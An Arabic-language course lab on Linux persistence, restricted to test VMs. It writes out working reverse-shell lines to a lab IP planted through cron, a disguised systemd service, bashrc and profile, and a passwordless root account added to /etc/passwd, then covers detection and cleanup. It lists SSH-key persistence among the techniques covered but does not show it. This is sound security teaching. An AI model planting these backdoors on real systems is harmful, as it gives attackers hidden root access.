انتقل إلى المحتوى الرئيسي

المختبر 9.3: استمرارية وأبواب خلفية لينكس

أهداف التعلم​

في نهاية هذا المختبر، ستكون قادرًا على:

  • تنفيذ تقنيات استمرارية لينكس متعددة
  • إنشاء أبواب خلفية تبقى بعد إعادة التشغيل
  • تعديل ملفات النظام للحفاظ على الوصول
  • استخدام systemd للاستمرارية
  • إخفاء العمليات والملفات
  • اكتشاف الاستمرارية على نظام لينكس
  • تنظيف نظام مخترق

المدة المقدرة​

35 دقيقة

المتطلبات المسبقة​

  • VM لينكس (أوبونتو/ديبيان)
  • وصول root (تم الحصول عليه عبر المختبر 9.1)
  • إكمال المختبرات 9.1 و9.2
  • فهم cron، systemd، bash

السياق المهني​

بعد الحصول على root، يريد المهاجم:

  • الحفاظ على الوصول حتى بعد إعادة التشغيل
  • البقاء بعد تحديثات النظام
  • البقاء غير مكتشف لأطول فترة ممكنة

تقنيات الاستمرارية المستخدمة من قبل:

  • مجموعات APT للوصول طويل الأمد
  • برامج الفدية لإعادة العدوى
  • شبكات البوت للتحكم الدائم

تحذير أخلاقي وقانوني​

تثبيت الأبواب الخلفية على الأنظمة بدون إذن = جريمة خطيرة.

مسموح: VMs للاختبار فقط
ممنوع: الأنظمة الحقيقية بدون إذن


الجزء 1: مهام Cron الخبيثة​

Crontab المستخدم​

إضافة مهمة مخفية:

(crontab -l 2>/dev/null; echo "@reboot bash -i >& /dev/tcp/192.168.100.10/4444 0>&1") | crontab -

التنفيذ: عند كل بدء تشغيل!

Cron النظام (Root)​

ملف /etc/crontab:

echo "*/10 * * * * root /tmp/.hidden/backdoor.sh" >> /etc/crontab

التنفيذ: كل 10 دقائق كـ root!

أسئلة:

  1. هل نجت مهمة cron بعد إعادة التشغيل؟
  2. هل هي مرئية لمستخدم عادي؟

الجزء 2: خدمات systemd​

إنشاء خدمة خبيثة​

ملف /etc/systemd/system/system-update.service:

[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.10/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target

تفعيل:

systemctl enable system-update.service
systemctl start system-update.service

قشرة عكسية تعمل كخدمة نظام!

التحقق:

systemctl status system-update

يظهر كخدمة شرعية!


الجزء 3: تعديل ملفات النظام​

Bashrc العام​

ملف /etc/bash.bashrc:

echo '[ "$(id -u)" -ne 0 ] && bash -i >& /dev/tcp/192.168.100.10/4444 0>&1 &' >> /etc/bash.bashrc

كل محطة مفتوحة: قشرة عكسية!

ملف تعريف SSH​

ملف /etc/profile:

echo 'bash -c "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" &' >> /etc/profile

تعديل /etc/passwd​

إنشاء حساب root بدون كلمة مرور:

echo 'backdoor::0:0:Backdoor:/root:/bin/bash' >> /etc/passwd

تسجيل الدخول:

su backdoor

لا يُطلب كلمة مرور، أنت root!

أسئلة: 3. هل عمل الباب الخلفي في bashrc؟ 4. هل يعمل حساب الباب الخلفي بدون كلمة مرور؟


الجزء 4: الاكتشاف​

البحث عن مهام Cron مشبوهة​

# Crontabs المستخدمين
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

# Cron النظام
cat /etc/crontab
ls -la /etc/cron.*

البحث عن خدمات مشبوهة​

systemctl list-units --type=service --state=running
systemctl list-unit-files | grep enabled

التحقق من الملفات المعدلة​

# Bashrc المعدل حديثًا
ls -la /etc/bash.bashrc /etc/profile ~/.bashrc

# مقارنة مع baseline
dpkg -V bash

البحث عن حسابات مشبوهة​

cat /etc/passwd | grep :0:

إذا كان غير root لديه UID 0: باب خلفي!

أسئلة: 5. كم عدد الأبواب الخلفية التي اكتشفتها؟ 6. كيف يمكن أتمتة الاكتشاف؟


الجزء 5: التنظيف​

إزالة الاستمرارية​

# Cron
crontab -r
sed -i '/backdoor/d' /etc/crontab

# Systemd
systemctl stop system-update
systemctl disable system-update
rm /etc/systemd/system/system-update.service

# Bashrc
sed -i '/192.168.100.10/d' /etc/bash.bashrc
sed -i '/192.168.100.10/d' ~/.bashrc

# الحساب
sed -i '/backdoor/d' /etc/passwd

التسليمات​

  1. تقرير مع 3 طرق استمرارية تم اختبارها
  2. دليل على البقاء بعد إعادة التشغيل
  3. سكربت اكتشاف مؤتمت
  4. إجراء تنظيف

الخاتمة​

تقنيات متقنة:

  • مهام Cron الخبيثة
  • خدمات systemd الأبواب الخلفية
  • تعديل ملفات النظام
  • استمرارية مفتاح SSH
  • الاكتشاف والتنظيف

مجمعة مع المختبرات 9.1 و9.2:

  • تصعيد المستخدم → root
  • قشرة عكسية
  • استمرارية دائمة

سلسلة هجوم لينكس كاملة!


مختبر مطور في إطار دورة أنظمة التشغيل - الوحدة 9